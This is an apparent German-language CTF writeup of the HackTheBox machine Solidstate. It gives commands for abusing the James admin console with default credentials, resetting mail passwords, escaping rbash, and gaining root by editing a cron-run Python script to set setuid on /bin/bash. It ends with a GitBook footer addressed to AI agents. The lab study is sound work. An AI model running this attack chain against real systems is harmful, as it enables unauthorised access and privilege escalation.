> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Solidstate HackTheBox Writeup Writeup zur HackTheBox-Medium-Linux-Maschine Solidstate mit Abdeckung von Missbrauch des James Remote Administration Tool, Ändern des E-Mail-Passworts eines Benutzers, Informationsleck, Ausbruch aus Restricted Bash (rbash), mit prak {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Ausnutzen des James Remote Administration Tools * Ändern des E-Mail-Passworts eines Benutzers * Informationsleck * Ausbrechen aus Restricted Bash (rbash) * Erstellen eines Bash-Skripts zum Erkennen von Cron-Jobs (procmon.sh) * Ausnutzen eines Cron-Jobs (Privilegienerhöhung) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Erkundung offener Ports und Export in die Datei "allPorts" im Nmap-Verzeichnis. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwendung der Funktion extractPorts, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren (22.25,80,110,119,45555)

Port- und Versionsscan mit Nmap: Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### Port 80 #### Auf Port 80 wurden keine interessanten Informationen gefunden.

## JAMES-Fernadministration ### Port 119 - NNTP > Port 119 verwendet das Network News Transfer Protocol. Auf dem Server läuft eine Apache-James-Instanz, ein Mailserver und News. Wir verbinden uns mit `netcat`, aber es werden keine relevanten Informationen gefunden. ```bash nc 10.10.10.51 119 ```

### Port 4555 - Fernadministrationswerkzeug > Im Kontext der Fernadministration kann es verwendet werden, um auf Bedienfelder zuzugreifen oder mit entfernten Diensten auf dem Zielsystem zu interagieren. Es ist wichtig, es zu scannen, um zu sehen, ob es offen ist und welchen Dienst es hostet. Wir versuchen, eine Verbindung zum James-Administrationspanel über Telnet herzustellen: ```bash telnet 10.10.10.51 4555 ```

Nach der Suche nach den Standardanmeldedaten finden wir: * **ID** : root * **Passwort** : root

Wir verbinden uns erfolgreich und greifen auf James' Administrationspanel zu. Wir haben die Möglichkeit, Benutzer mit dem `listusers` Befehl aufzulisten, wodurch wir 5 Benutzer entdecken können: * `Benutzer: james` * `Benutzer: thomas` * `Benutzer: john` * `Benutzer: mindy` * `Benutzer: mailadmin`

Wir können Benutzerpasswörter mit dem `setpassword` Befehl ändern, um sie mit dem Mail-Client auf Port 110 zu verbinden. Das tun wir für alle Benutzer: ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### Port 110 - POP3 > Port 110 ist der Standardport für **POP3** das Protokoll (Post Office Protocol Version 3). Dieses Protokoll wird von E-Mail-Clients verwendet, um E-Mails von einem Server abzurufen. Wenn sich ein Benutzer über diesen Port mit einem POP3-Server verbindet, kann er seine Nachrichten herunterladen. Wir verbinden uns nun per Telnet mit dem POP3-Client:

telnet 10.10.10.51 110

Zum Verbinden verwenden wir die folgenden Befehle: ```ada USER PASS ``` Wir listen Nachrichten mit dem `list` Befehl. Wir stellen fest, dass sich in den Postfächern von `james` und `thomas`.

Allerdings hat der Benutzer `john` eine Nachricht, die wir mit dem `retr 1` Befehl abrufen. Die Nachricht enthält den folgenden Text: > John, > > Kannst du Mindys Zugriff einschränken, bis sie berechtigt ist, dem Programm beizutreten? Bitte stelle außerdem sicher, dass du ihr ein temporäres Passwort sendest, damit sie sich mit ihren Konten verbinden kann. > > Vielen Dank im Voraus. > > Mit freundlichen Grüßen,/ James

Dies legt nahe, dass der Benutzer `mindy` Anmeldedaten in seinem Postfach hat. Tatsächlich finden wir die folgenden Informationen: * **Benutzername** : mindy * **Passwort** : P\@55W0rd1!2@

Wir verwenden diese Anmeldedaten, um uns per SSH zu verbinden und die Flag zu erhalten `user.txt`. ### Flagge user.txt :)

## Privilegieneskalation : ### **Aus rbash in Bash ausbrechen** Das `mindy` Der Benutzer verwendet derzeit eine `rbash` Shell, die die Ausführung vieler Befehle einschränkt.

Um diese Einschränkung zu umgehen, verwenden wir beim Herstellen der SSH-Verbindung den folgenden Befehl, um eine Bash-Shell zu erhalten: ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

Anschließend verwenden wir die folgenden Befehle, um das Terminal anzupassen und eine vollständige Shell zu erhalten: ```bash script /dev/null -c bash # Strg+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Cron-Jobs - modifiziertes Skript (Python): Wir erstellen ein Bash-Skript, um laufende Prozesse zu analysieren und auf dem Zielsystem ausgeführte Cron-Jobs zu erkennen: ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` Beim Ausführen dieses Skripts stellen wir fest, dass der **root** Benutzer ein Python-Skript ausführt, das sich im `/opt/tmp.py` Verzeichnis befindet.

Wir haben die Möglichkeit, dieses Python-Skript zu ändern.

Wir ändern es, um den Befehl hinzuzufügen, der ein **setuid** am `/bin/bash` Binärdatei, wodurch wir eine Bash-Shell mit den Rechten von **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` Nach der Bearbeitung des Skripts warten wir etwa eine Minute, bis der Cron-Job ausgeführt wird. Sobald der Cron-Job ausgeführt wurde, können wir eine Bash-Shell mit **root** Rechten erhalten, indem wir den folgenden Befehl ausführen: ```bash /bin/bash -p ```

### root.txt-Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.